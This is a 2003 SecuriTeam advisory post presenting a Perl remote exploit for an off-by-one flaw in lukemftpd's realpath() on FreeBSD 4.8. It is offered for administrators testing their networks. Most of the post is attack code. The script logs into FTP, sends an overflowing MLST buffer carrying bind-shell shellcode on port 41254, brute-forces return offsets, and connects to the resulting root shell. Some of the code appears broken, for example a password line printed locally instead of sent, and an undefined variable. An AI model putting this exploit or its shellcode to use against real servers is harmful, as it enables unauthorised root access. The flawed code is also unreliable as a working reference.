[EXPL] Off-by-One Error in realpath() (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 08/14/03

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      Off-by-One Error in realpath() (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article,
    <http://www.securiteam.com/unixfocus/5IP041FAUA.html> Off-by-One Error in
    realpath, a vulnerability allows remote attackers to exploit an off-by-one
    vulnerability in order to gain shell access. The following exploit code
    can be used by system administrators to test their network for the
    mentioned vulnerability.

    DETAILS

    Vulnerable systems:
     * FreeBSD 4.8

    Exploit:
    #!/usr/bin/perl

    #realpath lukemftpd remote exploit for freeBSD 4.8
    #i managed to code this, and lose the first copy, hence a re-write :(
    #deadbeat,
    #left without any return addresses/offsets purposely to stop kids using
    it..
    #want the rets/offsets? heh..
    #
    #tested on freeBSD 4.8 and it worked ;) it worked ;)
    #e: daniels@legend.co.uk
    #e: deadbeat@sdf.lonestar.org

    use IO::Socket;

    $user = $ARGV[0];
    $pass = $ARGV[1];
    $ret = $ARGV[2];
    $offset = $ARGV[3];
    $host = $ARGV[4];
    $buf= 1024;
    $n = "./";
    print "lukemftpd remote for FreeBSD 4.8 ..\n";
    print "this is the kiddiot version, go grab them ret's+offsets..lool\n";
    print "contact me and i might give u the rets/offsets\n";
    if(!$ARGV[4]){
      die "Usage: perl $0 <user> <pass> <ret> <offset> <host>\n";
    }
    sub brute_force
    {
      $r = $_[0];
      $o = $_[1];

        #shellcode from zillion.. from safemode.org...binds /bin/sh on 41254
      $hell = "\xeb\x64\x5e\x31\xc0\x88\x46\x07\x6a\x06\x6a\x01\x6a\x02\xb0".
                
    "\x61\x50\xcd\x80\x89\xc2\x31\xc0\xc6\x46\x09\x02\x66\xc7\x46".
                
    "\x0a\xa1\x26\x89\x46\x0c\x6a\x10\x8d\x46\x08\x50\x52\x31\xc0".
                
    "\xb0\x68\x50\xcd\x80\x6a\x01\x52\x31\xc0\xb0\x6a\x50\xcd\x80".
                
    "\x31\xc0\x50\x50\x52\xb0\x1e\x50\xcd\x80\xb1\x03\xbb\xff\xff".
                
    "\xff\xff\x89\xc2\x43\x53\x52\xb0\x5a\x50\xcd\x80\x80\xe9\x01".
                
    "\x75\xf3\x31\xc0\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8\x97\xff".
                "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23";

      $addr = pack('l', ($r+$o));
      for($i=0;$i <$buf; $i +=4){
        $buffer .=$addr;
      }
      for($i=0;$i<$buf - length($hell) /2;$i++){
        $buffer .=$n;
      }
      $buffer .=$hell;

      print "Connecting to: $host\n";
      $sox = IO::Socket::INET->new(
        Proto=>"tcp",
        PeerPort=>"21",
        PeerAddr=>"$host"
      )or die "cant connect to $host ...maybe try a real host ;)\n";
      sleep 1;
      print ("[+]Trying addr: 0x", sprintf('%lx', ($r + $o)),"\n");
      print $sox "user $user\r\n";
      sleep 1;
      print "pass $pass\r\n";
      sleep 1;
      print $sox "MLST $buffer\r\n";
      sleep 2;
      close $sox;
      print "Trying to connect to r00tshell\n";
      $sox = IO::Socket::INET->new(
        Proto=>"tcp",
        PeerPort=>"41254",
        PeerAddr=>"$host"
      )or die"No r00tshell this time, try using a proper offset/ret_addr..\n";
      print "Wicked we got a r00tshell on $host : 41254\n\n";
      close $sox;
    }

    for($a=0;$a<1000;$a++){
      $offset++;
      $reta = pack('l', ($ret+$o));
      print "Brute Force [$a]\n";
      brute_force($reta,$offset);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:deadbeat@sdf.lonestar.org>
    deadbeat.

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